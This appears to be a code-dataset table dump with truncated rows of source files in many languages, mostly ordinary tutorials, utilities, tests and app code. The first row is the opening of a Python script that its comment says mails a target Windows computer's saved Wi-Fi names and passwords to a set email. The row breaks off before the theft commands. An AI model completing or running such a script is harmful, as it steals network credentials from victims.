language stringclasses 15
values | src_encoding stringclasses 34
values | length_bytes int64 6 7.85M | score float64 1.5 5.69 | int_score int64 2 5 | detected_licenses listlengths 0 160 | license_type stringclasses 2
values | text stringlengths 9 7.85M |
|---|---|---|---|---|---|---|---|
Python | UTF-8 | 892 | 2.6875 | 3 | [
"MIT"
] | permissive | # The given code when executed on a target computer will mail back on the mentioned email, all the wifi's and their passwords.
# Configured only for Windows.
# Change the commands to configure for other OSs.
import subprocess
import smtplib
import re
def send_mail(email, password, message):
server = smtplib.SMTP(... |
Markdown | UTF-8 | 8,786 | 2.734375 | 3 | [] | no_license | {:title "Using Websockets"
:layout :page
:page-index 1200}
In this chapter I will show you how to add websockets to a closp application and how to use them
bidirectional.
## Libraries
First we will add two new libraries to enable websockets support. Put these into the _:dependencies_ section of your _project.clj_
... |
Python | UTF-8 | 678 | 3.5625 | 4 | [] | no_license | import sys
def is_palindrome(target: str):
strings_dict = dict()
len = 0
for i in target:
if i == " ":
continue
i = i.lower()
strings_dict.setdefault(i, 0)
strings_dict[i] += 1
len += 1
odd_num = 0
if len % 2 == 1:
for value in strings_d... |
Java | UTF-8 | 698 | 2.390625 | 2 | [] | no_license | package gm;
import static gm.ServerEngine.*;
public abstract class Item {
static ItemIdGenerator idGenerator = new SimpleItemIdGenerator();
String id;
int locx;
int locy;
boolean keepable = false;
public Item(){
id = idGenerator.nextId();
locx = (int)(Math.random() * (... |
C++ | UTF-8 | 4,063 | 3.3125 | 3 | [] | no_license | //
// Created by Rodolfo J. Galván Martínez on 12/11/20.
//
#ifndef BINARYTREES_BINARYNODETREE_H
#define BINARYTREES_BINARYNODETREE_H
#include "BinaryTreeInterface.h"
#include "BinaryNode.h"
#include <iostream>
#include <algorithm>
#include <memory>
template<class ItemType>
class BinaryNodeTree : public BinaryTreeIn... |
Swift | UTF-8 | 3,331 | 3.078125 | 3 | [] | no_license | //
// PaletteChooser.swift
// EmojiArt
//
// Created by wenpu.duan on 2022/12/2.
//
import SwiftUI
struct PaletteChooser: View {
@ObservedObject var document: EmojiArtDocument
@Binding var chosenPalette: String
@State var popoverStatus: Bool = false
var body: some View {
HSta... |
Java | UTF-8 | 85,752 | 2.203125 | 2 | [
"LicenseRef-scancode-generic-cla",
"ECL-2.0",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | package Srrqn01h.Abean;
import java.applet.*;
import java.awt.event.*;
import java.io.*;
import java.beans.*;
import java.util.*;
import java.net.URL;
import java.math.*;
import java.text.*;
import com.ca.gen80.jprt.*;
import com.ca.gen80.odc.coopflow.*;
import com.ca.gen80.odc.msgobj.*;
import com.ca.gen80.csu.trace... |
Java | UTF-8 | 4,226 | 1.898438 | 2 | [
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause",
"Ruby"
] | permissive | /*
* Copyright 2016 Leidos Biomedical Research, Inc.
*/
package gov.nih.nci.cadsr.dao.model;
import java.util.HashSet;
import java.util.Set;
/**
* This class is the model of PVs' VM Classifications used to map tp Designation and Definitions. See CDEBROWSER-437
* @author asafievan
*
*/
public class CsCsiValueMea... |
Java | UTF-8 | 975 | 3.53125 | 4 | [] | no_license | package homework;
import java.util.Scanner;
/**
* Created by expert on 7/13/18.
*/
public class methodOverlodEx { //3 ways to overload a method
/*1 number of parameters eg:add(int,int),add(int,int,int)
2 data type of parameters eg:add(int,float),add(int,int)
3 sequence of data type of parameters eg:add(... |
Markdown | UTF-8 | 636 | 2.5625 | 3 | [] | no_license | # Article L451-1
Le fait pour l'opérateur de ne pas procéder à l'information prévue à l'article L. 411-2 est puni d'une peine d'un an
d'emprisonnement et de 150 000 euros d'amende.
**Liens relatifs à cet article**
**Codifié par**:
- Ordonnance n°2016-301 du 14 mars 2016 - art.
**Modifié par**:
- Loi n°201... |
SQL | UTF-8 | 3,166 | 3.890625 | 4 | [] | no_license | SELECT c_address, c_phone FROM customer_index WHERE c_name = 'Customer#000000227';
SELECT c_address, c_phone FROM customer_noindex WHERE c_name = 'Customer#000000227';
SELECT s_name, MIN(s_acctbal) FROM supplier_index;
SELECT s_name, MIN(s_acctbal) FROM supplier_noindex;
SELECT l_quantity, l_extendedprice F... |
Markdown | UTF-8 | 1,747 | 2.921875 | 3 | [] | no_license | # 作业说明
### 面向对象概念
interface: 所有类均使用自己定义的一套协议接口,计划将面向对象编程,实现为面向接口编程,但是实现中出现了一些小问题。同时通过多个interface进行类似多继承的实现。
extends:将一些有继承关系的类进行继承,这样可以在代码中进行一部分动态绑定,代码中注意了层数,最多只有三层。
### 机制
尽量面向接口编程,将DIP实现为最大化,同时尽量准守LSP与OCP,而对于SRP于ISP在实现中考虑的较少,这方面需要继续进行重构。
### 设计理念
1、每一个阵营(Camp)由人和队形组成。
在队形中无需考虑实际在图中的位置,只需考虑其内部点的放置方式,这样也容易进行旋转操... |
Markdown | UTF-8 | 3,529 | 2.765625 | 3 | [
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] | permissive | /*
Title: Getting started
Sort: 1
*/
Created by the leading mobile game engine, the Unity Ads SDK provides a comprehensive monetization framework for your game, whether you develop in Unity, xCode, or Android Studio. It streamlines ads, in-app purchasing and analytics, using cutting edge machine learning to maximize ... |
Java | UTF-8 | 3,524 | 2.53125 | 3 | [] | no_license | package com.guobi.gfc.gbmiscutils.intent;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import com.guobi.gfc.gbmiscutils.config.GBManifestConfig;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
public class ... |
Shell | UTF-8 | 1,715 | 3.90625 | 4 | [
"MIT"
] | permissive | #!/usr/bin/env bash
ulimit -c unlimited
export GOTRACEBACK=crash
workspace=$(cd "$(dirname $0)/" || exit 1; pwd)
cd ${workspace} || exit 1
app_name=tms
pid_file=app.pid
function check_pid() {
if [[ -f ${pid_file} ]];then
pid=`cat ${pid_file}`
if [[ -n ${pid} ]]; then
running=`ps -p ${... |
Markdown | UTF-8 | 7,859 | 3.234375 | 3 | [
"Apache-2.0"
] | permissive | # System Setup
---
TinyCLR OS is the tiny operating system used by the BrainPad to run your C# and Visual Basic programs. Microsoft Visual Studio is used to write these programs on your computer and is also used by professional programmers the world over. Both TinyCLR and Visual Studio are available for free, but must ... |
Python | UTF-8 | 947 | 3.953125 | 4 | [] | no_license | # Returns the majority element in a list. A majority element is defined as any element which occurs in the list more than n/2 times,
# where n is the number of elements. Returns -1 if there is no majority element.
def get_majority_element(a, left, right):
if left == right:
return -1
if left + 1 == ... |
TypeScript | UTF-8 | 1,208 | 3.28125 | 3 | [
"MIT"
] | permissive | import { Property } from "./IProperties";
export class User {
/**
* @public name:string
* @public password:string
* @public email:string
* @method addProperty(property: Property): User
* @method changeProperty(property: Property): boolean
*/
name: string;
password: string;
email: string;
/*... |
JavaScript | UTF-8 | 6,795 | 2.8125 | 3 | [] | no_license | /**
* Created by Administrator on 2016/4/20.
*/
// 数据缓存
var data_info;
// 替换字符串
function replace_data_info() {
for (var i = 0; i < data_info.length; ++i) { // 逐个替换
var info = data_info[i];
// 背景
if (info.platform_background.length > 2) {
info.platform_background = info.platfor... |
Java | UTF-8 | 8,156 | 2.59375 | 3 | [] | no_license | package com.CloudDinner.Service;
import com.CloudDinner.Dao.PersonFriendCrudDao;
import com.CloudDinner.Model.FRIEND_STATUS_TABLE;
import com.CloudDinner.Model.FRIEND_TABLE;
import com.CloudDinner.Model.PERSONAL_TABLE;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype... |
C# | UTF-8 | 1,148 | 2.71875 | 3 | [] | no_license | public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
}
public ObservableCollection<string> DomainComputers = new ObservableCollection<string>();
private void Button_Click(object sender, RoutedEventArgs e)
{
... |
Markdown | UTF-8 | 4,954 | 3.859375 | 4 | [] | no_license | ---
title: "4.寻找两个有序数组的中位数"
date: 2019年11月22日12:09:33
---
# 寻找两个有序数组的中位数
## 题目描述
> 给定两个大小为 m 和 n 的有序数组 nums1 和 nums2。
> 请你找出这两个有序数组的中位数,并且要求算法的时间复杂度为 O(log(m + n))。
> 你可以假设 nums1 和 nums2 不会同时为空。
示例 1:
```java
nums1 = [1, 3]
nums2 = [2]
```
则中位数是 2.0
示例 2:
```java
nums1 = [1, 2]
nums2 = [3, 4]
```
则中位数是 (2 + 3)/2 = 2... |
C# | UTF-8 | 5,255 | 2.59375 | 3 | [
"MIT"
] | permissive | using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
namespace Simple1C.Impl.Helpers
{
internal static class ReflectionHelpers
{
public static string FormatName(this Type type)
{
string result;
if (typeNames.TryGetValue... |
Java | UTF-8 | 2,208 | 2.625 | 3 | [] | no_license | /*
* @author Vikthor Nijenhuis
* @project Peptide mzIdentML Identfication Module *
*/
package nl.eriba.mzidentml.identification.collections.mzid;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import nl.eriba.mzidentml.identification.objects.mzid.MzIdCombinedProtein... |
C# | UTF-8 | 2,150 | 2.75 | 3 | [] | no_license | using System;
using FF.Contracts.Service;
using FF.Data.Models;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Telerik.JustMock;
using FluentAssertions;
namespace FF.UnitTests.Data.Models
{
[TestClass]
public class ReviewTests
{
private IDateTimeService _dateTimeService = Mock.CreateLik... |
C++ | UTF-8 | 1,346 | 3 | 3 | [] | no_license | //
// Created by lior on 01/06/19.
//
#ifndef DEVICESMANAGER_DEVICELIST_HPP
#define DEVICESMANAGER_DEVICELIST_HPP
#include <vector>
#include <map>
#include "Device.hpp"
enum flag { FALSE = 0,
TRUE = 1,
ANY = 2};
class DeviceList {
private:
std::string _lastUpdateTime;
std::vector<Device> _devices... |
Java | UTF-8 | 8,615 | 2.46875 | 2 | [
"Apache-2.0"
] | permissive |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may... |
JavaScript | UTF-8 | 337 | 3.453125 | 3 | [] | no_license | var fs = require("fs");
/*
Reading file asynchronously
*/
fs.readFile('input.txt', (err, data) => {
if (err) throw err;
console.log(data.toString());
});
/*
Reading file synchronously
var contents = fs.readFileSync('input.txt', 'utf8');
console.log(contents);
*/
console.log("Testing the asynchronous nature o... |
Markdown | UTF-8 | 2,889 | 3.4375 | 3 | [
"MIT"
] | permissive | ---
layout: post
title: Developers Don't Care That Your Issue Is Critical
---
All too often, I sit in a meeting with a client and conversation goes a lot like this.
> **Me:** "Okay, looks like we have 4 features fully fleshed out here. When do you need each of these by."
> **Client:** "We need these yesterday"
A... |
JavaScript | UTF-8 | 704 | 2.828125 | 3 | [] | no_license | // eslint-disable-next-line no-undef
const { isCardNumberValid } = require("./isCardNumberValid");
// eslint-disable-next-line no-undef
const { getCardProvider } = require("./getCardProvider");
// eslint-disable-next-line no-undef
module.exports.checkCardNumber = (cardNumber) => {
if (typeof cardNumber === "string... |
Shell | UTF-8 | 637 | 3.5 | 4 | [] | no_license | #!/bin/bash
for CPU in `ls -d -v /sys/devices/system/cpu/cpu[0-9]*`; do
CPUID=$(basename $CPU)
echo "CPU: $CPUID";
if test -e $CPU/online; then
echo "1" > $CPU/online;
fi;
COREID="$(cat $CPU/topology/core_id)";
SOCKETID="$(cat $CPU/topology/physical_package_id)";
eval "COREENABLE=\"\... |
Markdown | UTF-8 | 4,085 | 2.90625 | 3 | [
"MIT"
] | permissive | ---
title: Class List
description: An observable collection of record names, useful to model relational structures
category: class
navLabel: List
body_class: dark
---
A List is a specialised Record that contains an Array of recordNames and provides a number of convinience methods for interacting with them.
## Methods... |
Python | UTF-8 | 4,183 | 2.71875 | 3 | [] | no_license | from PIL import Image
import requests
import base64
import json
import sys
from picamera import PiCamera
from time import sleep
#"https://images.pexels.com/photos/415829/pexels-photo-415829.jpeg?auto=compress&cs=tinysrgb&h=350" sample url
def getBool(prompt):
while True:
try:
return {"y":True, "n":False}[raw_inp... |
C++ | UTF-8 | 21,527 | 2.84375 | 3 | [] | no_license | /*
* ptf_bfield.cpp
* Program to calculate magnetic field around PMT test facility.
*
* Author: Blair Jamieson (Oct. 2019)
*/
#include <iostream>
#include <sstream>
#include <fstream>
#include <iomanip>
#include <vector>
#include <string>
#include <cmath>
#include "TStyle.h"
#include "TVector3.h"
#include "TH1D.h... |
TypeScript | UTF-8 | 1,780 | 2.8125 | 3 | [] | no_license | import {
signInMethodsActions,
SignInMethodsActionTypes,
GET_METHODS_START,
GET_METHODS_SUCCESS,
GET_METHODS_FAILURE,
ADD_METHOD,
REMOVE_METHOD
} from "../signInMethods";
describe("signInMethods actions", () => {
it("should create and action to start signInMethods saga", () => {
const email = "test... |
Python | UTF-8 | 1,348 | 4.03125 | 4 | [] | no_license | '''
Data Structure: integer array id[] of length N
Interpretation: p and q are connected iff they have the same id
Find: Check if p and q have the same id
Union: To merge components containing p and q, change all entries whose id equals id[p] to id[q]
'''
class QuickFindUF:
def __init__(self, N):
... |
PHP | UTF-8 | 4,807 | 2.8125 | 3 | [
"MIT"
] | permissive | <?php
namespace app\social\models;
use Infuse\Utility as U;
use Pulsar\ACLModel;
use Pulsar\Model;
abstract class SocialMediaProfile extends ACLModel
{
public static $scaffoldApi;
public static $autoTimestamps;
protected function hasPermission($permission, Model $requester)
{
if ($permission... |
Java | UTF-8 | 5,156 | 1.625 | 2 | [
"MIT"
] | permissive | // Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3) annotate safe
package com.apollographql.apollo.internal;
// Referenced classes of package com.apollographql.apollo.internal:
// RealApolloCall, CallState
static cla... |
Java | UTF-8 | 5,097 | 2.21875 | 2 | [
"MIT"
] | permissive | package cn.mutils.app.demo.net;
import android.content.Context;
import proguard.annotation.Keep;
import proguard.annotation.KeepClassMembers;
import cn.mutils.app.demo.net.WeatherTask.WeatherReq;
import cn.mutils.app.demo.net.WeatherTask.WeatherRes;
import cn.mutils.core.annotation.Format;
import cn.mutils.core.anno... |
Java | UTF-8 | 3,252 | 3.0625 | 3 | [] | no_license | package gedcomlint;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
public class US_05_06_Validations {
public void validateMarriageBeforeDeath(List<Individual> allIndividuals, List<Family> allFamilies) throws ParseException {
for(Fa... |
Markdown | UTF-8 | 1,579 | 2.71875 | 3 | [] | no_license | # About
This is a trivial application of SHAP (SHapley Additive exPlanations: https://github.com/slundberg/shap) to analysis under relatively small memory machine environment like Google colab. This ongoing project tries to mitigate severe memory-consumptions during SHAP calculations of large scale data without affecti... |
Shell | UTF-8 | 2,766 | 3.453125 | 3 | [] | no_license | # OpenMeasure install
error=0
OS="/"unknown/""
# must be run as root
if [ $EUID -ne 0 ]; then
echo "This script must be run as root" 1>&2
exit 1
fi
# check for dependencies:
echo ""
echo "Checking for dependencies..."
echo ""
# python3
hash python3 &> /dev/null
if [ $? -eq 1 ]; then
echo ""
echo >&2 "... |
Python | UTF-8 | 1,770 | 2.71875 | 3 | [] | no_license | from Crud import Crud
from Types import User, UserRequest, DatabaseColumn, DatabaseTable, InsertRequest
hasLablesColumn, textIdenfifierColumn = DatabaseColumn(
"has_lables", "boolean"), DatabaseColumn("text_identifier", "varchar(4)")
class UserService(Crud):
def __init__(self, cursor: any, dbConnection, lo... |
JavaScript | UTF-8 | 300 | 3.6875 | 4 | [] | no_license |
// Có 2 cách tạo object:
// Contructor Function và keyvalue.
var student = {
0:"12",
1:"cheng",
length :3
}
for (let index = 0; index < student.length; index++) {
console.log(student[index]);
}
var Person = {
name:"cheng",
id:"01"
}
console.log(typeof Person);
|
C# | UTF-8 | 2,525 | 2.828125 | 3 | [] | no_license | using System;
using System.Collections.Generic;
using System.Linq;
using System.Linq.Expressions;
using System.Text;
using System.Threading.Tasks;
namespace Oak.Domain.Models
{
public class DbGraph
{
public DbGraph()
{
Objects = new List<DbObject>();
}
public IRead... |
Python | UTF-8 | 1,991 | 2.53125 | 3 | [] | no_license | from django.http import HttpResponse
from django.views.generic import View
from rest_framework.renderers import JSONRenderer
from rest_framework.parsers import JSONParser
from app3.serializers import ProductSerializer
from app3.models import ProductModel
import io
class ProductOperations(View):
def get(self,reques... |
C++ | UHC | 1,523 | 2.84375 | 3 | [] | no_license | #define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <cstdio>
#include <algorithm>
#include <vector>
#include <string>
#include <hash_map>
using namespace std;
int main() {
long long k;
long long bit = 0;
vector<long long> room_number;
vector<long long> answer;
long long Idx;
hash_map<... |
Python | UTF-8 | 558 | 3.765625 | 4 | [
"MIT"
] | permissive | def greeting(name):
print('Hello ' + name)
greeting('Bob')
greeting('Doris')
def power(val, exponent=2):
my_power = val ** exponent
return my_power
res = power(5, 2)
print(res)
res = power(5, 3)
print(res)
res = power(6)
print(res)
def read_file(filename):
seqs = []
my_file = open(filenam... |
Markdown | UTF-8 | 3,887 | 2.921875 | 3 | [
"Apache-2.0",
"MIT"
] | permissive | ---
title: "C. S. Lewis"
created_at: Tue Aug 14 21:58:58 MDT 2018
kind: article
tags:
- c_s_lewis_author
- author
- books
---
<h2>
C. S. Lewis bibliography
<a href="https://en.wikipedia.org/wiki/C._S._Lewis_bibliography" target="_blank"></a>
</h2>
<h1>Books</h1>
<h2>Abolition of Man</h2>
<h3>
How 'The A... |
Java | UTF-8 | 2,479 | 3.5625 | 4 | [] | no_license | package com.studio.bill.file_handling;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
import java.nio.file.*;
import java.util.List;
public class Exercise1 {
private static final String FILENAME = "xanadu.txt";
private static final... |
SQL | UTF-8 | 415 | 3.515625 | 4 | [] | no_license | -- Gives average active session (like OEM) for all database instances
-- based on 1 minute interval from gv$active_session_history
select inst_id
,count(*) DB_TIME
,round(count(*) / (60),2) Avg_Active_Session
,rpad('*',round(count(*) / (60),2),'*') LATENCY_GRAPH
from gv$active_session_history... |
PHP | UTF-8 | 531 | 2.53125 | 3 | [] | no_license | <?php
class DB2HashBuilder extends CacheBuilder {
public function build($application,$cacheGroupName,$cacheKeyId) {
$this->init($application,$cacheGroupName);
$sqlQuery = $this->getSql();
$rs = $this->DB->getAll($sqlQuery);
$dataList = array();
if(count($rs)) {
... |
Python | UTF-8 | 8,044 | 2.921875 | 3 | [] | no_license | import threading
from datetime import datetime
from queue import Queue
from public import *
from pymongo import MongoClient
# 思路:先获取商圈信息
# 通过商圈信息,多线程去获取成交信息,根据成交信息的数量,把ID及参数放入变量
# 根据这个变量,多线程去最终获取
# 'bizcircle_id': '1100000602', 商圈ID
# 'bizcircle_quanpin': 'chengnanyijia', 商圈全拼
# 'bizcircle_name': '城南宜家', 商圈名
# 'city_... |
C# | UTF-8 | 9,393 | 2.78125 | 3 | [] | no_license | using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq.Expressions;
using System.Reflection;
using System.Xml.Serialization;
namespace App.Components
{
/// <summary>
/// 编辑器类型
/// </summary>
public enum EditorType
{
[UI("自动选择")] Auto,
[UI... |
TypeScript | UTF-8 | 848 | 3.0625 | 3 | [] | no_license | import { Pipe, PipeTransform } from '@angular/core';
import * as moment from 'moment';
@Pipe({
name: 'formatToHourMinute',
pure: true
})
export class FormatToHourMinute implements PipeTransform {
/**
* Takes a value and makes it lowercase.
*/
transform(now: number, started: number) {
... |
JavaScript | UTF-8 | 8,364 | 2.640625 | 3 | [] | no_license | function verifica_usuario (tipopessoa) {
//Se a pessoa marcar para ter acesso ao sistema ela deve preencher o CPF ou CNPJ para poder logar
var acesso = $("select[name=possuiacesso]").val();
var obrigacadastropessoacpf=$("input[name=obrigacadastropessoacpf]").val();
if (acesso==0)... |
C | UTF-8 | 656 | 2.84375 | 3 | [] | no_license | #include "hashtable.h"
#include <assert.h>
int main(void)
{
//create a hash table
hash_table* mydict = create(HASHSIZE);
//add first, first, First, fiRst, second to the dict
add_word("first", mydict);
add_word("second", mydict);
add_word("first", mydict);
add_word("first", mydict);
//... |
JavaScript | UTF-8 | 1,593 | 3.34375 | 3 | [] | no_license | const math = require("./math.js");
//3 create tests for reqs
describe("the math module", () => {
describe("the add function", () => {
test("adds two numbers", () => {
//assertion statement(s)
expect(math.add(3, 5)).toEqual(8);
expect(math.add(2, -3)).toEqual(-1);
expect(math.add(1.2, 3.1... |
C++ | UTF-8 | 1,852 | 3.21875 | 3 | [] | no_license | struct nodo {
int elem;
nodo *sig;
};
typedef nodo *lista;
int last(lista lst) {
lista loc = lst;
while (loc->sig != NULL) loc = loc->sig;
return loc->elem;
};
float average(lista lst) {
lista loc = lst;
int suma = 0;
int cont = 0;
while (loc != NULL) {
suma += loc->elem;
loc = loc->sig;
cont++;
}
re... |
PHP | UTF-8 | 9,249 | 2.609375 | 3 | [] | no_license | <?php
/**
*
*/
namespace core;
use core\config\config;
class Managment extends config
{
const NO_FOUND_PAGE = 404;
private $modulos = array();
private $url_uri = array();
private $uri_login = ""; // login general
private $uri_main = ""; // posible uso cuando tenga una web q administrar
private $... |
Java | UTF-8 | 424 | 1.5 | 2 | [] | no_license | package com.vrush.microservices.consumer.utils;
public class Template {
public static final String HOME = "home";
public static final String REDIRECT_HOME = "redirect:/";
public static final String ROOMS = "rooms";
public static final String REDIRECT_ROOMS = "redirect:/rooms";
public static fina... |
C++ | UTF-8 | 9,171 | 2.84375 | 3 | [] | no_license | //Arduino sketch for photogate. Signal IN -> PIN 8. 16 Sep. 2015, Revised 24 March 2017
//A timer which is triggered by raising a digital input to HIGH (8 default).
//Data prited to serial is deliminated by "_" and "~".
#define ledPin 13 // LED connected to digital pin 13
#define gatePin 8 // Photogate co... |
C# | UTF-8 | 8,393 | 2.578125 | 3 | [] | no_license | using System;
using System.Collections.Generic;
using System.Linq;
using TechnicalRadiation.Models.Dtos;
using TechnicalRadiation.Models.Entities;
using TechnicalRadiation.Models.Exceptions;
using TechnicalRadiation.Models.Extensions;
using TechnicalRadiation.Models.InputModels;
using TechnicalRadiation.Repositories;
... |
Java | UTF-8 | 7,708 | 2.859375 | 3 | [] | no_license | package yt.study.dameng;
import java.sql.SQLException;
public class Start {
static final String synInsertSql = "insert into HIGH.SYN(COLUMN_1) values(120)"; //锁
//static final String synDeleteSql = "delete from HIGH.SYN where COLUMN_1=110";//释放锁_old
static final String updateHighkey = "update HIGH.SYN set COLUM... |
Markdown | UTF-8 | 10,490 | 3.140625 | 3 | [] | no_license | ---
layout: page
summary: Reflections on recent experience with digital painting and drawing
author: AaronHertzmann
image: /images/ipad_paintings/fiddleleaf.jpg
---
# Learning from Painting, Part 5: Embracing Digital Painting
I believe in new artistic technologies. New technology create new kinds of artistic med... |
C++ | UTF-8 | 7,478 | 2.53125 | 3 | [] | no_license | //#include <pybind11/pybind11.h>
//namespace py = pybind11;
#include <vector>
#include <string>
#include <iostream>
struct arc{
char bin;
struct node * father;
struct node * child;
};
struct node{
char leaf;
signed long long freq;
//struct node * right;
//struct node * left;
struct arc right;
struct arc le... |
Ruby | UTF-8 | 172 | 3.03125 | 3 | [] | no_license | class Gigasecond
GIGASECOND = 10**9
def self.from date
date_seconds = date.strftime('%s').to_i
Date.strptime((date_seconds + GIGASECOND).to_s, "%s")
end
end
|
Java | UTF-8 | 1,871 | 3.359375 | 3 | [] | no_license | import java.util.HashMap;
import java.util.Map;
public class putall {
public static void main(String[] args) {
System.out.println( "MAP PUTALL TEST" );
Map<String, String> PUTALLmap1 = new HashMap<String, String>();
PUTALLmap1.put("one", "一");
PUTALLmap1.put("two", "二");
PU... |
Python | UTF-8 | 2,088 | 2.84375 | 3 | [] | no_license | import socket
import struct
# Ensure all bytes are sent over socket.
def send_cmd(cmd, msg_len):
totalsent = 0
while totalsent < msg_len:
sent = sock.send(cmd[totalsent:])
if sent == 0:
raise RuntimeError("socket connection broken")
totalsent = totalsent + sent
return to... |
Java | UTF-8 | 2,361 | 2.03125 | 2 | [] | no_license | package examples.view.com.navgridrec.Fragments;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.app.Fragment;
import android.support.v7.widget.DefaultItemAnimator;
import android.support.v7.widget.GridLayoutManager;
import android.support.v7.widget.RecyclerView;
import a... |
Markdown | UTF-8 | 956 | 4.0625 | 4 | [] | no_license | <h1>Evil Numbers</h1>
<b>Category:</b> Easy
<br><br>
> An evil number is a non-negative number that has an even number of 1s in its binary expansion.
> Print all the evil numbers from 0 to 50 inclusive, each on their own line.
> Numbers that are not evil are called odious numbers.
<h2>Write-up</h2>
<h3>Python, 58 ... |
Python | UTF-8 | 5,929 | 2.625 | 3 | [] | no_license | import random
import os
import json
import numpy as np
import datetime
import logging
import socket
from github import Github
from store import Store
from specs import GITHUB_TOKENS, SPIDER_TRAP, TOP_REPOS, logger, STATS_TIMEOUT, QUERY_INTERVAL, MAX_CYCLE, MAX_SEEN_QUEUE
import time
import collections
# TODO: Test ou... |
C# | UTF-8 | 3,195 | 3.078125 | 3 | [] | no_license | using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Diagnostics;
using System.Windows.Forms;
using System.Threading;
namespace CopyPictures
{
class Program
{
static void Main(string[] args)
{
... |
Shell | UTF-8 | 472 | 2.90625 | 3 | [] | no_license | #! /bin/bash
################################################
# Uppgift 2 laboration 6 #
# Magnus Danielsson LX13 #
# Ett skript för att tömma en mapp, och i det #
# +fallet 'mappen' som ligger under tmp-mappen #
################################################
if [ $EUID ... |
JavaScript | UTF-8 | 1,853 | 2.90625 | 3 | [] | no_license | import TodoList from '../components/todo-list/todo-list.component'
import TodoForm from '../components/todo-form/todo-form.component'
import { Component } from 'react'
class Tasklist extends Component {
constructor() {
super();
this.state = {
todos: [],
checkedTodos: [],
}
}
onNewTodo = ... |
Python | UTF-8 | 4,532 | 2.734375 | 3 | [] | no_license | import networkit, pandas, sys, logging, os, utility
logging.basicConfig(stream=sys.stderr)
logger = logging.getLogger("graphParser")
logger.setLevel(utility.DEBUG)
class file_Parser:
BAG_folder = utility.BAGs_FOLDER # "BarabasiAlbertGraphs/"
ERG_folder = utility.ERGs_FOLDER # "ErdosRenyiGraphs/"
BAGs_fil... |
C | UTF-8 | 5,487 | 3.234375 | 3 | [] | no_license | #include <ncurses.h>
#include <stdlib.h>
#include <time.h>
typedef struct Position/*substitui as antigas variaveis xPosition && yPosition*/
{
int x;
int y;
}Position;
typedef struct Room
{
Position position;
int height;
int width;
Position ** doors;
// Monster ** monsters
// Item ** items
}Room;
typedef... |
PHP | UTF-8 | 4,901 | 2.59375 | 3 | [
"MIT"
] | permissive | <?php
namespace Test\GraphQLClientPhp\Parser;
use GraphQLClientPhp\Parser\QueryBasicQueryParser;
use PHPUnit\Framework\TestCase;
class QueryBasicParserTest extends TestCase
{
/**
* @throws \GraphQLClientPhp\Exception\FileNotFoundException|\GraphQL\Error\SyntaxError
*/
public function testParseQuery... |
PHP | UTF-8 | 989 | 2.75 | 3 | [] | no_license | <?php
class control_tp1ej6{
public function mostrar($datos){
$edad=$datos['edad'];
$nombre=$datos['nombre'];
$apellido=$datos['apellido'];
$direccion=$datos['direccion'];
$estudios=$datos['estudios'];
$sexo=$datos['sexo'];
... |
Markdown | UTF-8 | 825 | 3.296875 | 3 | [] | no_license | ## Error Description
After the SSL certificate is deployed in IIS, a 404 error is reported when you access resources.
## Possible Causes
- The websites bound to HTTP and HTTPS are different.
- The website configuration is incorrect.
## Solutions
After the certificate is successfully deployed, resources can be accesse... |
JavaScript | UTF-8 | 1,576 | 4.65625 | 5 | [] | no_license | /**
A non-empty array A consisting of N integers is given. The consecutive elements of array A represent consecutive cars on a road.
Array A contains only 0s and/or 1s:
0 represents a car traveling east,
1 represents a car traveling west.
The goal is to count passing cars. We say that a pair of cars (P, Q), wher... |
Markdown | UTF-8 | 994 | 4.3125 | 4 | [
"MIT"
] | permissive | ### Class 08 - Zip Two Lists
### Zip Two Linked Lists
### Challenge
- Write a function called zipLists that takes in two Linked Lists as arguments and zips them together into one so that the nodes alternate between the two lists and return a reference to the head of the zipped list.
- Write tests to check functional... |
Markdown | UTF-8 | 3,475 | 2.90625 | 3 | [
"Apache-2.0"
] | permissive | What is Legion?
===============
Legion is a distributed, protocol-agnostic load testing tool.
Why does it exist?
==================
I wanted to create a tool that would solve the most challenging problems I've
encountered in my seven years of helping clients improve the performance,
capacity, and risk exposure of th... |
Ruby | UTF-8 | 768 | 3.578125 | 4 | [] | no_license | module Purchaseable
def purchase(item)
"#{item} has been purchased"
end
end
class Bookstore
include Purchaseable
def purchase(item)
"You bought a copy of #{item} at the bookstore!"
end
end
class Supermarket
include Purchaseable
def purchase(item)
"T... |
C++ | UTF-8 | 4,538 | 2.578125 | 3 | [] | no_license | /*
* Copyright (c) 2011, Tom Distler (tdistler.com)
* All rights reserved.
*
* The BSD License
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyrigh... |
Python | UTF-8 | 2,491 | 3.65625 | 4 | [] | no_license | import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
import seaborn as sbn
# ---------------------------
# @description
# pip3 install matplotlib -i https://pypi.douban.com/simple
# pip3 install seaborn -i https://pypi.douban.com/simple
# @author xichengxml
# @date 2019/10/7 下午 07:30
# -------------... |
Java | UTF-8 | 1,676 | 3.21875 | 3 | [] | no_license | package calculator;
import static org.junit.Assert.assertEquals;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
public class StringCalculatorTest {
private StringCalculator calc;
@Before
public void load() {
calc= new StringCalculator();
}
@Test
